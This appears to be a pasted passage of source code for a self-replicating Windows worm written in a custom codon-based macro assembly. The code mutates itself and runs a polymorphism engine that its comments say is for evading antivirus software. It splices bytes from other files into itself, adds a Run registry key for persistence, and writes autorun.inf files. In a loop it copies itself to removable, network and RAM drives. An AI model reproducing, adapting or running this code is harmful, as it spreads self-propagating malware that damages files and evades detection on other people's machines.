- addnumber xchgThreshold1
- _div
- _nopsD
- _subsaved 0
- _JnzDown ; if not zero, dont exchange codons
- _nopsB ; restore
- _writeDWord ; save mutation!
- _nopREAL
- _nopREAL
- CalcNewRandNumberAndSaveIt
- _pop
- addnumber 1
- _nopdB ; inc counter
- GetAddress MapPointer
- _getdata
- _save
- _zer0 1
- GetAddress FileSize
- _getdata
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001 ; Dont mutate the last 9 bytes because of xchg problems
- _addsaved
- _save ; mov save, [MapPointer]+GenomEndInMap
- _nopsB
- _subsaved 0 ; cmp counter, [MapPointer]+GenomEndInMap
- _JnzUp ; jnz esi
- ; loop ANextByteInChain
- ; ##### Finished codons exchange
- ; ############################################################################
- ; ############################################################################
- ; ##### Start of NOP Insertion
- ;
- ; nBeforeIns = rand() % FileSize
- ; nBlockSize = (rand() % 32) + 1
- ; nByteBlockToMov = (rand() % (FileSize-nBeforeIns)) + 1
- ;
- ; InsStart = MapPoint + nBeforeIns
- ; BlockEndBefore = MapPoint + nBeforeIns + nByteBlockToMov
- ; InsEnd = MapPoint + nBeforeIns + nBlockSize
- ; BlockEndAfter = MapPoint + nBeforeIns + nBlockSize + nByteBlockToMov
- ;
- ; File before NOP Insertion: File after NOP Insertion:
- ;
- ; | ---------------- MapPoint | ---------------- MapPoint
- ; | \ | \
- ; | \ | \
- ; | > nBeforeIns | > nBeforeIns
- ; | / | /
- ; | / | /
- ; | --------------- InsStart | --------------- InsStart
- ; | \ | \ ; _nopREAL
- ; | \ | > nBlockSize ; _nopREAL
- ; | \ | / ; _nopREAL
- ; | > nByteBlockToMov | --------------- InsEnd
- ; | / | \
- ; | / | \
- ; | / | \
- ; | --------------- BlockEndBefore | > nByteBlockToMov
- ; | | /
- ; | | /
- ; | | /
- ; | | --------------- BlockEndAfter
- ; | |
- ; | Rest of file |
- ; | |
- ; | | Rest of file*
- ; | |
- ; | |
- ; | ---------------- | ----------------
- ;
- ; In PseudoCode:
- ; ==============
- ;
- ; c=nByteBlockToMov;
- ; do
- ; *(InsEnd+c)==*(InsStart+c)
- ; while --c
- ;
- ; c=nBlockSize;
- ; do
- ; *(InsStart+c)==_nopREAL
- ; while --c
- ;
- ;
- ;
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 0
- _nopdD
- addnumber InsertThreshold1
- _div
- _nopsD
- _push ; Save Result = (rand() % InsertThreshold1)
- CalcNewRandNumberAndSaveIt
- GetAddress RandomNumber ; -> nBeforeIns = rand() % FileSize
- _getdata
- _nopdA ; mov RegA, [RandomNumber]
- _zer0 0
- _nopdD ; mov RegD, 0
- GetAddress FileSize
- _getdata
- _nopdB ; RegB=FileSize
- _div ; div BC1 <- RegD = rand() % FileSize = nBeforeIns
- GetAddress InsStart
- _saveWrtOff
- _nopsD ; BC1=nBeforeIns
- _save ; BC2=nBeforeIns
- _nopsB ; BC1=FileSize
- _subsaved 1 ; BC1=(FileSize-nBeforeIns)
- _nopdB ; RegB=(FileSize-nBeforeIns)
- GetAddress MapPointer
- _getdata ; BC1=MapPoint
- _addsaved ; BC1=MapPoint + nBeforeIns = InsStart
- _writeDWord ; !!! InsStart=MapPoint + nBeforeIns
- _push
- CalcNewRandNumberAndSaveIt ; -> nBlockSize = rand() % 32
- GetAddress nBlockSize
- _saveWrtOff
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov RegA, [RandomNumber]
- _zer0 0
- _nopdD ; mov RegD, 0
- addnumber 32
- _div ; div BC1 <- RegD = rand() % 32 = nBlockSize
- _nopsD ; BC1=nBlockSize
- addnumber 1
- _writeDWord ; !!! nBlockSize
- _save ; BC2=nBlockSize
- GetAddress InsEnd
- _saveWrtOff
- _pop ; BC1 = InsStart
- _addsaved ; BC1 = InsStart + nBlockSize = InsEnd
- _writeDWord ; !!! InsEnd
- CalcNewRandNumberAndSaveIt ; -> nByteBlockToMov = rand() % (FileSize-nBeforeIns)
- GetAddress nByteBlockToMov
- _saveWrtOff
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov RegA, [RandomNumber]
- _zer0 0
- _nopdD ; mov RegD, 0
- _nopsB ; BC1=(FileSize-nBeforeIns)
- _div
- _nopsD ; BC1=nByteBlockToMov
- addnumber 1
- _writeDWord ; !!! nByteBlockToMov
- ;;;;;;;;;;;;;;;;;;;;;;;
- ; c=nByteBlockToMov;
- ; do
- ; *(InsEnd+c)==*(InsStart+c)
- ; while --c
- GetAddress InsStart
- _getdata
- _nopdA ; RegA=InsStart
- GetAddress InsEnd
- _getdata
- _nopdB ; RegB=InsEnd
- GetAddress nByteBlockToMov
- _getdata
- _nopdD ; RegD=nByteBlockToMov=c
- ; do
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _nopsD ; BC1=c
- _save ; BC2=c
- _nopsB ; BC1=InsEnd
- _addsaved ; BC1=InsEnd+c
- _saveWrtOff ; BA1=InsEnd+c
- _pop ; If BC1=0: mutate
- _push
- addnumber 1
- _sub0001 ; Get the zer0 flag
- _JnzDown
- _nopsA ; BC1=InsStart
- _addsaved ; BC1=InsStart+c
- _getdata ; BC1=*(InsStart+c)
- _writeByte ; *(InsEnd+c)==*(InsStart+c)
- _nopsD
- _sub0001
- _nopdD ; RegD=c-1
- _JnzUp
- ; while --c
- ;;;;;;;;;;;;;;;;;;;;;;;
- ; c=nBlockSize;
- ; do
- ; *(InsStart+c)==_nopREAL
- ; while --c
- ; Already set:
- ; GetAddress InsStart
- ; _getdata
- ; _nopdA ; RegA=InsStart
- _zer0 0
- addnumber 144
- _nopdB
- GetAddress nBlockSize
- _getdata
- _nopdD ; RegD=nBlockSize=c
- ; do
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _nopsD ; BC1=c
- _save ; BC2=c
- _nopsA ; BC1=InsStart
- _addsaved ; BC1=InsStart+c
- _saveWrtOff ; BA1=InsStart+c
- _pop ; If BC1=0: mutate
- _push
- addnumber 1
- _sub0001 ; Get the zer0 flag
- _JnzDown
- _nopREAL
- _nopREAL
- _nopsB
- _writeByte ; *(InsStart+c)==_nopREAL
- _nopsD
- _sub0001
- _nopdD ; RegD=c-1
- _JnzUp
- ; while --c
- _pop ; remove (rand() % InsertThreshold1) from Stack
- ; ##### End of Insertion
- ; ############################################################################
- ; _int3
- ; ############################################################################
- ; ##### Start of horizontal gene transfer
- _zer0 0 ; BC1=0
- addnumber ((HGTEnd1-HGTStart1)*8) ; size of block
- _save
- _getEIP
- HGTStart1:
- addnumber 3
- _addsaved
- _nopdB ; Save Addresse in RegB
- CalcNewRandNumberAndSaveIt ; -> HGTThreshold1
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov RegA, [RandomNumber]
- _zer0 0
- _nopdD ; mov RegD, 0
- addnumber HGTThreshold1
- _div ; div BC1 <- RegD = rand() % HGTThreshold1
- _nopsD
- _save
- _and ; Is zero?
- _JnzDown ; Simulate a JzDown
- _nopREAL ; BC1=0
- _nopREAL
- _add0001
- _JnzDown
- _nopsB ; BC1!=0
- _call ; jmp over HGT
- _nopREAL
- _nopREAL
- GetAddress HGT_searchmask
- _saveWrtOff
- _zer0 0
- addnumber 0x002A2E2A
- _writeDWord
- GetAddress WIN32_FIND_DATA_struct
- _push
- GetAddress HGT_searchmask
- _push
- CallAPI hFindFirstFileA
- GetAddress HGT_FFHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; Save FindHandle
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; Start of the loop
- ; Calculate the call addresse if the file is not ok
- _zer0 0
- addnumber ((HGTFileEnd1-HGTFileStart1)*8)
- _save
- _getEIP
- HGTFileStart1:
- addnumber 3
- _addsaved
- _push ; Save Addresse on Stack
- GetAddress HGTFileHandle ; Handle to zero because it will
- ; be Closed later in any case,
- ; except for [Handle]==0x0
- _saveWrtOff
- _zer0 0
- _writeDWord
- GetAddress HGTMapHandle
- _saveWrtOff
- _zer0 0
- _writeDWord
- GetAddress HGTDidInsert
- _saveWrtOff
- _zer0 0
- _sub0001
- _writeDWord
- _zer0 0 ; Is it a directory?
- addnumber FILE_ATTRIBUTE_DIRECTORY
- _save
- GetAddress WIN32_FIND_DATA_dwFileAttributes
- _getdata
- _subsaved 0
- _JnzDown ; Simulate a JzDown
- _pop ; BC1=0
- _push
- _call ; If directory -> Do not open...
- _nopREAL
- CalcNewRandNumberAndSaveIt
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 0
- _nopdD
- addnumber 5
- _div
- _nopsD
- _save
- _and
- _JnzDown ; Simulate a JzDown
- _nopREAL ; BC=0
- _nopREAL
- _add0001
- _JnzDown
- _pop ; BC!=0
- _push
- _call ; Not this file...
- _nopREAL
- ; OPEN FILE NOW
- _zer0 0
- _push
- _push
- addnumber 3
- _push
- _zer0 0
- _push
- addnumber 1
- _push
- _sub0001
- addnumber 0xC0000000
- _push
- GetAddress WIN32_FIND_DATA_cFileName
- _push
- CallAPI hCreateFileA
- GetAddress HGTFileHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[HGTFileHandle], RegA
- _save
- _nopsA
- addnumber 1 ; INVALID_HANDLE_VALUE=-1
- ; -> if error: BC1=0
- _JnzDown ; Simulate a JzDown
- _pop ; BC1=0
- _push
- _call ; If INVALID_HANDLE_VALUE -> Do not open...
- _nopREAL
- GetAddress HGTFileSize
- _push
- _zer0 1
- _addsaved
- _push
- CallAPI hGetFileSize
- GetAddress HGTFileSize
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[HGTFileSize], RegA
- _zer0 1
- _push
- _addsaved
- _push
- _zer0 0
- _push
- addnumber 4
- _push
- _zer0 0
- _push
- GetAddress HGTFileHandle
- _getdata
- _push
- CallAPI hCreateFileMappingA
- GetAddress HGTMapHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[HGTMapHandle], RegA
- _save
- _nopsA
- _save
- _and
- _JnzDown ; Simulate a JzDown
- _pop ; BC1=0
- _push
- _call ; If NULL -> Do not open...
- _nopREAL
- GetAddress HGTFileSize
- _getdata
- _push ; [HGTFileSize]
- _zer0 1
- _push ; 0
- _push ; 0
- addnumber 2
- _push
- _zer0 1
- _addsaved
- _push ; MapHandle
- CallAPI hMapViewOfFile
- GetAddress HGTMapPointer
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[HGTMapPointer], RegA
- _nopsA
- _save
- _and
- _JnzDown ; Simulate a JzDown
- _pop ; BC1=0
- _push
- _call ; If NULL -> Do not open...
- _nopREAL
- CalcNewRandNumberAndSaveIt
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 0
- _nopdD
- GetAddress HGTFileSize
- _getdata
- _div
- _nopsD
- _save
- GetAddress HGTMapPointer
- _getdata
- _addsaved
- _push ; Start in sourcefile
- CalcNewRandNumberAndSaveIt
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 0
- _nopdD
- GetAddress FileSize
- _getdata
- _div
- _nopsD
- _save
- GetAddress MapPointer
- _getdata
- _addsaved
- _push ; Start in my file
- CalcNewRandNumberAndSaveIt
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 0
- _nopdD
- addnumber 11
- _div
- _nopsD
- addnumber 1
- _nopdD
- ; Size in RegD
- _pop ; Start in my file
- _nopdB
- _pop ; Start in victim file
- _nopdA
- _pushall
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; Save everything, especially the old BA2
- _nopsB
- _saveWrtOff
- addnumber 1
- _nopdB
- _nopsA
- addnumber 1
- _nopdA
- _sub0001
- _getdata
- _writeByte
- _nopsD
- _sub0001
- _nopdD
- _JnzUp
- _popall ; Get old BA2 again
- GetAddress HGTDidInsert ; 0=already written
- _saveWrtOff
- _zer0 0
- _writeDWord
- _push ; trash
- HGTFileEnd1:
- _pop ; from call
- _pop ; saved address
- GetAddress HGTMapPointer
- _getdata
- _push
- CallAPI hUnmapViewOfFile ; call UnmapViewOfFile, dword[HGTMapPointer]
- _getDO
- addnumber (hCloseHandle-DataOffset)
- _getdata
- _nopdA ; Save API in RegA
- GetAddress HGTMapHandle
- _getdata
- _push
- _save
- _and
- _JnzDown
- ; BC==0
- _nopREAL
- _nopREAL
- _add0001
- _JnzDown
- ; BC!=0
- _nopsA ; get API offset
- _call ; call CloseHandle, dword[HGTMapHandle]
- _push ; Trash
- _nopREAL
- _pop ; remove trash
- _getDO
- addnumber (hCloseHandle-DataOffset)
- _getdata
- _nopdA ; Save API in RegA
- GetAddress HGTFileHandle
- _getdata
- _push
- _save
- _and
- _JnzDown
- ; BC==0
- _nopREAL
- _nopREAL
- _add0001
- _JnzDown
- ; BC!=0
- _nopsA ; get API offset
- _call ; call CloseHandle, dword[HGTFileHandle]
- _push ; Trash
- _nopREAL
- _pop ; remove trash
- GetAddress HGTDidInsert
- _getdata
- _push ; 0...written / -1...not written
- GetAddress WIN32_FIND_DATA_struct
- _push
- GetAddress HGT_FFHandle
- _getdata
- _push
- CallAPI hFindNextFileA
- _pop ; HGTDidInsert
- _save
- _nopsA ; If nonzero: Next file!
- _and
- _JnzUp ; End of the loop
- _push ; Trash to stack
- HGTEnd1:
- _pop ; Align stack (Trash or Return address from _call)
- ; ##### End of horizontal gene transfer
- ; ############################################################################
- ; #####
- ; #####
- ; ############################################################################
- ; ############################################################################
- ; _int3 ; WORKS HERE
- ; ############################################################################
- ; ############################################################################
- ; #####
- ; ##### Here we find polymorphism
- ; #####
- ;
- ; Together with natural mutations, also a special form of polymorphism
- ; can be performed.
- ;
- ; To achieve robustness under bitflip mutations, the alphabeth is
- ; constructed to be redundant (about 35 commands are coded within 256
- ; slots).
- ;
- ; This redundancy will be used in the polymorphism. The code searchs the
- ; alphabeth for equal entries. If it finds two amino acids A and B, which
- ; are equal, then in the codesection there will be a random flip from
- ; codon A to codon B.
- ;
- ; There are some reasons why a mutation-system like this should be included:
- ; 1) The variability of the worm is much faster
- ; 2) Codons which point to isolated amino acids (these who can not be
- ; transformed by a single bitflip to another amino acid of the same kind)
- ; can be de-isolated.
- ; 3) Mutations in the polymorphism-engine could lead to unexpected
- ; (non-lethal) results.
- ; 4) Macro-Mutations are of high importance to bypass natural enemies
- ; (like antivirus software), thus increase fitness.
- ; 5) Could make some variations in START and STOP codons, which have
- ; unpredictable results.
- ;
- CalcNewRandNumberAndSaveIt
- GetAddress RPAminoAcid1
- _saveWrtOff
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov eax, [RandomNumber]
- _zer0 0
- _nopdD ; mov edx, 0
- addnumber 256
- _div ; div ebx
- _nopsD ; BC1=rand%256
- _writeDWord ; Save amino acid to compare.
- _push
- _zer0 0
- addnumber 3
- _save
- _pop
- _shl ; BC1=(rand%256)*8
- _save
- GetAddress MapPointer
- _getdata
- _addsaved ; MapPoint+(rand%256)*8
- addnumber (CodeStart+(StartAlphabeth-start)) ; MapPoint+(rand%256)*8+AlphabethStart
- _push
- _getdata
- _nopdA ; First 4 bytes of amino acid in RegA
- _pop
- addnumber 4
- _getdata
- _nopdB ; 2nd 4 bytes of amino acid in RegB
- GetAddress MapPointer
- _getdata
- addnumber (CodeStart+(StartAlphabeth-start))
- _nopdD
- ; Start of loop:
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff
- _zer0 0 ; BC1=0
- addnumber ((RPBlock1End1-RPBlock1Start1)*8) ; size of block
- _save
- _getEIP
- RPBlock1Start1:
- addnumber 3
- _addsaved
- _push ; Save Addresse at Stack
- _pushall
- CalcNewRandNumberAndSaveIt
- GetAddress RPAminoAcid2
- _saveWrtOff
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov eax, [RandomNumber]
- _zer0 0
- _nopdD ; mov edx, 0
- addnumber 256
- _div ; div ebx
- _nopsD
- _writeDWord
- _popall
- _pushall
- GetAddress RPAminoAcid1
- _getdata
- _nopdA
- GetAddress RPAminoAcid2
- _getdata
- _nopdB
- _popall
- _zer0 0
- addnumber 3
- _save
- GetAddress RPAminoAcid2
- _getdata
- _shl ; *8
- _save
- _nopsD ; Get start of Alphabeth in Map
- _addsaved
- _getdata
- _save
- _nopsA
- _subsaved 0
- _JnzDown ; Simulate JzDown
- _nopREAL ; BC1=0
- _nopREAL
- _add0001
- _JnzDown
- _nopREAL ; Not equal
- _pop
- _push
- _call ; jmp to RPBlock1End
- ; First 4 bytes are equal
- _pop ; Old Call-address
- _zer0 0 ; BC1=0
- addnumber ((RPBlock2End1-RPBlock2Start1)*8) ; size of block
- _save
- _getEIP
- RPBlock2Start1:
- addnumber 3
- _addsaved
- _push ; Save Addresse at Stack
- _zer0 0
- addnumber 3
- _save
- GetAddress RPAminoAcid2
- _getdata
- _shl ; *8
- _save
- _nopsD ; Get start of Alphabeth in Map
- _addsaved
- addnumber 4 ; Get second 4 bytes
- _getdata
- _save
- _nopsB ; second 4 bytes
- _subsaved 0
- _JnzDown
- _nopREAL ; BC1=0
- _pop
- _push
- _call ; RPBlock2End
- _push ; not equal! trash to stack
- RPBlock1End1: ; Not equal amino acids
- _pop ; remove "call"-return address
- _pop ; RPBlock1End-Jmp Address
- _zer0 0
- addnumber 15
- _save
- GetAddress RandomNumber
- _getdata ; BC1=random
- _shr ; BC1=random >> 15 (to get new small random number without calling the 32bit RND engine again)
- _and ; BC1=(random >> 15) % 0000 1111b
- _JnzUp ; If not zero -> Next loop!
- ; Not found any equivalences...
- _zer0 0 ; BC1=0
- addnumber ((RPBlock3End1-RPBlock3Start1)*8) ; size of block
- _save
- _getEIP
- RPBlock3Start1:
- addnumber 3
- _addsaved
- _call ; jmp to end of poly-engine: RPBlock3End
- RPBlock2End1: ; Equal amino acids found
- _pop ; remove "call"-return address
- _pop ; RPBlock2End-Jmp Address
- GetAddress MapPointer
- _getdata
- addnumber (CodeStart+(StAmino-start)) ; MapPoint+(rand%256)*8+CodonStart
- _nopdD
- GetAddress RPAminoAcid1
- _getdata
- _nopdA
- GetAddress RPAminoAcid2
- _getdata
- _nopdB
- _zer0 0
- GetAddress FileSize
- _getdata
- addnumber (0xFFFF'FFFF-(CodeStart+(StAmino-start))-1000) ; Approximativly...
- _push
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff
- _nopsD ; Codon-Sequence Start
- _save
- _pop
- _push ; counter
- _addsaved
- _saveWrtOff
- _getdata
- _push
- _zer0 0
- addnumber 255
- _save
- _pop
- _and ; BC1=one byte
- _save
- _nopsA
- _subsaved 0 ; is equal?
- _JnzDown
- _nopsB
- _writeByte ; If equal: exchange codon!
- _nopREAL
- _nopREAL
- _pushall
- CalcNewRandNumberAndSaveIt
- _popall
- _zer0 0
- addnumber 1
- _save
- GetAddress RandomNumber
- _getdata
- _and
- addnumber 1
- _save ; BC2=(rand%8)+1
- _pop
- _subsaved 0 ; counter-=((rand%8)+1)
- _push
- _zer0 0
- addnumber 4293918720 ; BC1=0xFFF0 0000
- _save
- _pop
- _push
- _and ; BC1=(counter%0xFFF0 0000)
- _JnzDown
- _add0001 ; Not finished
- _JnzUp ; Next step
- _nopREAL
- _nopREAL
- _pop ; counter away from stack
- _push ; trash
- RPBlock3End1:
- _pop ; return value from call
- ; #####
- ; #####
- ; ############################################################################
- ; ############################################################################
- GetAddress MapPointer
- _getdata
- _push
- CallAPI hUnmapViewOfFile ; call UnmapViewOfFile, dword[MapPointer]
- GetAddress MapHandle
- _getdata
- _push
- CallAPI hCloseHandle ; call CloseHandle, dword[MapHandle]
- GetAddress FileHandle
- _getdata
- _push
- CallAPI hCloseHandle ; call CloseHandle, dword[FileHandle]
- ; ############################################################################
- ; ##### Create Registry Key
- GetAddress AutoStartContentStart
- _saveWrtOff
- _nopdA
- GetAddress stSubKey ; Create the key in the data section
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'SOFT'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'WARE'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber '\Mic'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'roso'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'ft\W'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'indo'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'ws\C'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'urre'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'ntVe'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'rsio'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'n\Ru'
- _writeDWord
- _nopsA
- addnumber 4
- _saveWrtOff
- _zer0 0
- addnumber 'n'
- _writeDWord
- GetAddress hRegKey
- _push
- GetAddress stSubKey
- _push
- _zer0 0
- addnumber HKEY_LOCAL_MACHINE
- _push
- CallAPI hRegCreateKeyA
- _zer0 0
- addnumber 15
- _push ; 15
- GetAddress Driveletter3
- _push ; C:\evolusss.exe
- _zer0 0
- addnumber REG_SZ
- _push ; REG_SZ
- _zer0 0
- _push ; 0x0
- _push ; 0x0
- GetAddress hRegKey
- _getdata
- _push ; dword[hRegKey]
- CallAPI hRegSetValueExA
- ; ##### End Create Registry Key
- ; ############################################################################
- ; ############################################################################
- ; ##### Create Autostart file (For older and unpatched systems)
- GetAddress AutoStartContentStart
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber '[Aut'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'orun'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 0x530A0D5D ; ']', 0x0D, 0x0A, 'S'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'hell' ; huh - nice ;)
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'Exec'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'ute='
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- GetAddress RandomFileName
- _nopdB
- _getdata
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _nopsB
- addnumber 4
- _getdata
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber '.exe'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 0x73550A0D
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'eAut'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'opla'
- _writeDWord
- _nopsA
- addnumber 3
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'ay=1'
- _writeDWord
- GetAddress autoruninf
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'auto'
- _writeDWord
- _nopsA
- addnumber 4
- _nopdA
- _saveWrtOff
- _zer0 0
- addnumber 'run.'
- _writeDWord
- _nopsA
- addnumber 3
- _saveWrtOff
- _zer0 0
- addnumber '.inf'
- _writeDWord
- _zer0 0
- _push ; 0x0
- addnumber 2
- _push ; 0x2
- _zer0 0
- addnumber CREATE_ALWAYS
- _push ; CREATE_ALWAYS
- _zer0 0
- _push ; 0x0
- _push ; 0x0
- addnumber 0xC0000000
- _push ; 0xC0000000
- GetAddress autoruninf
- _push ; autoruninf
- CallAPI hCreateFileA
- GetAddress FileHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; dword[FileHandle]=eax
- _zer0 0
- _push ; 0x0
- GetAddress MapHandle
- _push ; Trash-Address
- _zer0 0
- addnumber (AutoStartContentEnd-AutoStartContentStart)
- _push ; Size of Buffer
- GetAddress AutoStartContentStart
- _push ; Buffer to write
- GetAddress FileHandle
- _getdata
- _push ; FileHandle
- CallAPI hWriteFile
- GetAddress FileHandle
- _getdata
- _push
- CallAPI hCloseHandle
- ; ##### Create Autostart file
- ; ############################################################################
- ; ############################################################################
- ; ############################################################################
- ; ############################################################################
- ; #####
- ; ##### Main Loop (Searchs for Drives, and copies itself)
- ; #####
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; Loop over Drive Letter A-Z
- _pushall
- _zer0 0
- _nopdB ; RegB=0
- GetAddress Driveletter1-1
- _saveWrtOff
- _zer0 0
- addnumber 0x003A4100 ; 0x0, "A:", 0x0
- _writeDWord
- GetAddress Driveletter2-1
- _saveWrtOff
- _zer0 0
- addnumber 0x5C3A4100 ; 0x0, "A:\"
- _writeDWord
- _zer0 0
- addnumber 26
- _nopdA ; counter
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; Loop over Drive Letter A-Z
- _pushall
- GetAddress Driveletter1+2
- _saveWrtOff
- _zer0 1
- _writeByte
- GetAddress Driveletter1
- _push
- CallAPI hGetDriveTypeA
- _nopsA
- _save ; save Drive type
- _zer0 1
- addnumber 0x0010
- _push
- _zer0 1
- addnumber 2 ; BC1=2
- _subsaved 1
- _JnzDown ; Is DRIVE_REMOVABLE?
- _pop ; Stack=0x0010
- _push
- _nopdB ; RegB=0x0010 -> FILE+AUTOSTART
- _nopREAL
- _pop ; Trash away
- _zer0 1
- addnumber 0x0040
- _push
- _zer0 1
- addnumber 3 ; BC1=3
- _subsaved 1
- _JnzDown ; Is DRIVE_FIXED?
- _pop
- _push ; RegB=0x0040 -> FILE
- _nopdB
- _nopREAL
- _pop ; Trash away
- _zer0 1
- addnumber 0x0010
- _push
- _zer0 1
- addnumber 4 ; BC1=4
- _subsaved 1
- _JnzDown ; Is DRIVE_REMOTE?
- _pop
- _push ; RegB=0x0010 -> FILE+AUTOSTART
- _nopdB
- _nopREAL
- _zer0 1
- addnumber 6 ; BC1=6
- _subsaved 1
- _JnzDown ; Is DRIVE_RAMDISK?
- _pop
- _push ; RegB=0x0010 -> FILE+AUTOSTART
- _nopdB
- _nopREAL
- _pop ; Trash away
- ; ############################################################################
- ; ##### Copy autorun.inf (or not)
- GetAddress autoruninf
- _nopdA ; address to "autorun.inf" to RegA
- GetAddress Driveletter2
- _nopdD ; address to "?:\autorun.inf" to RegD
- _nopsB
- _save
- _zer0 1
- addnumber 0x0010 ; (FILE+AUTOSTART)
- _subsaved 1
- _JnzDown
- _nopREAL ; BC1=0x0
- _push ; bFailIfExists=FALSE
- _nopsD
- _push ; lpNewFileName="?:\autorun.inf"
- GetAddress hCopyFileA
- _getdata
- _nopdD
- _zer0 1
- addnumber 0x0010 ; (FILE+AUTOSTART)
- _subsaved 1
- _JnzDown
- _nopsA
- _push ; lpExistingFileName="autorun.inf"
- _nopsD
- _call ; stdcall dword[hCopyFileA]
- _nopsB
- _save ; restore BC2 (=RegB)
- _zer0 1
- addnumber 0x0040
- _push
- _zer0 1
- addnumber 0x0010 ; (FILE+AUTOSTART)
- _subsaved 1
- _JnzDown
- _pop
- _push
- _nopdB
- _save ; also copy child executable
- _pop ; Trash away
- ; ##### End Copy autorun.inf (or not)
- ; ############################################################################
- ; ############################################################################
- ; ##### Copy child executable (or not)
- GetAddress Driveletter1+2
- _saveWrtOff
- _zer0 1
- addnumber 0x5C ;'\'
- _writeByte
- GetAddress RandomFileName
- _nopdA ; address to "NNNNNNNN.exe" to RegA
- GetAddress Driveletter1
- _nopdD ; address to "?:\NNNNNNNN.exe" to RegD
- _nopsB
- _save
- _zer0 1
- addnumber 0x0040 ; (FILE+AUTOSTART)
- _subsaved 1
- _JnzDown
- _nopREAL
- _push ; bFailIfExists=FALSE
- _nopsD
- _push ; lpNewFileName="?:\NNNNNNNN.exe"
- GetAddress hCopyFileA
- _getdata
- _nopdD
- _zer0 1
- addnumber 0x0040 ; (FILE+AUTOSTART)
- _subsaved 1
- _JnzDown
- _nopsA
- _push ; lpExistingFileName="NNNNNNNN.exe"
- _nopsD
- _call ; stdcall dword[hCopyFileA]
- ; ##### End Copy child executable (or not)
- ; ############################################################################
- _popall
- GetAddress Driveletter1
- _saveWrtOff
- _getdata
- addnumber 1
- _writeByte
- GetAddress Driveletter2
- _saveWrtOff
- _getdata
- addnumber 1
- _writeByte
- _nopsA
- _sub0001
- _nopdA
- _JnzUp
- _popall
- _zer0 0
- addnumber 0x6666
- _push
- CallAPI hSleep
- _zer0 0
- addnumber 1
- _JnzUp
- ; #####
- ; ##### End Main Loop
- ; #####
- ; ############################################################################
- ; ############################################################################
- ; ############################################################################
- EndAminoAcids1:
- ; ##################################################################
- display 13,10,'- - -',13,10,'displayAminoAcidDistribution:',13,10
- display '=============================',13,10
- displayAminoAcidDistribution AminoAcidList
- EndAmino:
- .end start
Add Comment
Please, Sign In to add comment